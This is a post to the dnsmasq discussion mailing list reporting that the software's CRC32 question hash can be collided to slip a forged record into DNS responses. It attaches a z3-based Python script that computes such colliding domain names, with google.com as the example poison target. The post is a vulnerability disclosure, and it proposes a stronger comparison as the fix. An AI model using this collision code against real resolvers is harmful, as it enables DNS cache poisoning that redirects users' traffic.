[Dnsmasq-discuss] Possible cache poisoning issues / CRC32

[Julian Bangert]

Hello,

I was looking through the DNSmasq source code and it seems to be that 
the primary protection against DNS spoofing (the server including 
responses not requested by the client) is the CRC32 hash of the 
questions (questions_crc in rfc1035.c).
It is quite possible to construct domain names that lead to a full 
collision of the CRC32 hash - in addition to sending a response to the 
original domain and the RR to be spoofed, an attacker can send back a 
third RR that produces the CRC32 collision. A python program to compute 
this domain name with a SAT solver is attached.

While I don't know how this could be directly exploited (the caching DNS 
server upstream of dnsmasq would filter out spoofing requests), I think 
it would be prudent to replace the code in question (either perform a 
deep-compare of domain names, or use a better hash function such as SHA1 
- I don't think the performance overhead of questions_crc is that 
significant, as the input size tends to be quite small).

Regards,
Julian Bangert

#!/usr/bin/env python2
from z3 import *
def crc_iter(crc):
     poly = BitVecVal(0x04c11db7,32)
     mask = BitVecVal(0x80000000,32)
     return If(crc & mask != 0,  (crc << 1) ^ poly, crc<< 1)
def crc_char(crc,char):
     crc = crc ^ (char << 24)
     for x in range(8):
         crc = crc_iter(crc)
     return crc

def encode_string(str):
     return [BitVecVal(ord(str[index]),32) for index in range(len(str))]

def crc_string(crc,str):
     for bv in str:
         crc = crc_char(crc,bv)
     return crc
def allow_char(s,c):
     s.add (Or(And(c >= ord('a'),c <= ord('z')), c==ord('.')))
def calc_crc(str):
     s = Solver()
     s.add(BitVec("test",32) == crc_string(0xffffffff,[ord(x) for x in 
str]))
     s.check()
     m=s.model()
     return m[m[0]].as_long()
def crc_free(target,prefix,nvalues):
     s = Solver()
     freevals = [BitVec('input_%s' % (i+1),32) for i in range(nvalues)]
     for val in freevals:
         allow_char(s,val)
     crc_init = calc_crc(prefix)
     crc_fini = calc_crc(target)
     crc = crc_string(crc_init,freevals)
     s.add (crc_fini == crc)
     return s
#
def a_query(str):
     return(str+ "\x00\x01\x00\x01")

def dns_spoof(my_domain,poison):
     s= crc_free(my_domain,a_query(my_domain)+a_query(poison),7)
     s.check()
     m= s.model()
     domain=""
     for decl in sorted(m.decls(), key= lambda x: x.name()):
         domain+= chr(m[decl].as_long())

     return domain

print hex(calc_crc(a_query("p.spargelzeit.mooo.com")))
print hex(calc_crc(a_query("p.spargelzeit.mooo.com") + 
a_query("google.com") +a_query("qnhhwrv")))
print dns_spoof("p.spargelzeit.mooo.com","google.com")